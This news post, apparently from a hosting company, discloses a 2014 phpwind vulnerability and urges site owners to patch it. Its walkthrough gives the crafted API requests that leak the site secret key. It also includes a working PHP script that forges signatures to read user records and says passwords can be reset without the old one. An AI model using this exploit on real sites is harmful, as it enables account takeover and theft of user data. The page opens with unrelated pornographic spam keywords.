欧美极品在线观看不卡|国产精品Va免费视频|国产国产人无码在线免费|亚洲精品无码九九九九九|亚洲国产综合精品久久久久|成人国产在线观看高清不卡|制服诱惑一区二区三区六区|国产一区二区精品高清在线观看

新聞中心

PHPWIND可拿shell的高危漏洞修補

作者 / 無憂主機 時間 2014-09-04 14:03:52

近期phpwind爆了一個高危漏洞,下面無憂主機小編跟大家說說下這個漏洞的問題。借鑒的國內(nèi)漏洞網(wǎng)站測試的結(jié)果。 首先在src/applications/windidserver/api/controller/AppController.php內(nèi)代碼:

public function listAction() {
		$result = $this->_getAppDs()->getList();
		$this->output($result);
	}
如何獲取可以訪問接口的key? 查看用戶上傳頭像頁面就可以知道了: /phpwind/src/windid/service/user/srv/WindidUserService.php 內(nèi)的代碼:
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));
去頭像頁面查看一下源文件 http://localhost/phpwind/index.php?m=profile&c=avatar&_left=avatar [caption id="attachment_16305" align="alignnone" width="300"]phpwind代碼截圖 phpwind代碼截圖[/caption] 解出urldecode得: http://localhost/phpwind/windid/index.php?m=api&c=avatar&a=doAvatar&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418 去掉 &avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418 然后記得,還需要POST一個uid等于undefined 把doAvatar換成list,avatar換成app得: http://localhost/phpwind/windid/index.php?m=api&c=app&a=list&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash POST:uid=undefined 得: {"1":{"id":"1","name":"phpwind9.0","siteurl":"http:\/\/localhost\/phpwind","siteip":"","secretkey":"73e3dcdd733c7c3733c17273a624e162","apifile":"windid.php","charset":"gbk","issyn":"1","isnotify":"1"}} [caption id="attachment_16306" align="alignnone" width="300"]phpwind問題情況截圖 phpwind問題情況截圖[/caption] 拿到這個key,我可以做的事情太多了,用戶體系內(nèi)的所有事情我都可以做了。 在官網(wǎng)測試了一下,拿到key后測試一下讀取一個用戶的資料:
<?php
$secretkey = '308c6c43a*****279dd61dd80e8d59bd';
$c = 'user';
$a = 'get';
$data = array('uid'=>'658925');
$time = time();
$key = appKey('1', time(), $secretkey, array('userid'=>658925), $data);
echo post('http://www.phpwind.net/windid/index.php?m=api&c='.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data);
function post($uri,$data) {
	$ch = curl_init ();
	curl_setopt ( $ch, CURLOPT_URL, $uri );
	curl_setopt ( $ch, CURLOPT_POST, 1 );
	curl_setopt ( $ch, CURLOPT_HEADER, 0 );
	curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
	curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
	$return = curl_exec ( $ch );
	curl_close ( $ch );
	return $return;
}
function appKey($apiId, $time, $secretkey, $get, $post) {
	$array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token');
	$str = '';
	ksort($get);
	ksort($post);
	foreach ($get AS $k=>$v) {
		if (in_array($k, $array)) continue;
		$str .=$k.$v;
	}
	foreach ($post AS $k=>$v) {
		if (in_array($k, $array)) continue;
		$str .=$k.$v;
	}
	return md5(md5($apiId.'||'.$secretkey).$time.$str);
}
?>
[caption id="attachment_16307" align="alignnone" width="300"]phpwind問題代碼截圖 phpwind問題代碼截圖[/caption] {"uid":"658925","username":"phpwind","email":"fengyu@phpwind.net","safecv":"5b4111de","regdate":"1143101940","regip":""} 在User的api內(nèi)還有一個edit的接口,可以修改任意用戶的密碼,調(diào)用它,不填寫old_password,將可以修改任意用戶的密碼,不會驗證原密碼的。   這整個過程就是phpwind的漏洞被利用的過程,現(xiàn)在官方已經(jīng)有了補丁,希望看到這篇文章的站長們盡快打上最新的補丁吧。 無憂主機相關(guān)文章推薦閱讀: PHPWIND如何更換域名解決方法 PHPWIND快速發(fā)帖時的問題解決 PHPWIND改名后可以重復投票問題 PHPWIND提示“安全驗證參數(shù)校驗失敗,無法完成充值”

本文地址:http://www.gle-technology.com/phpwind/16300.html

1
1
1
1
1
1
1

客戶服務(wù)熱線

0791-8623-3537

在線客服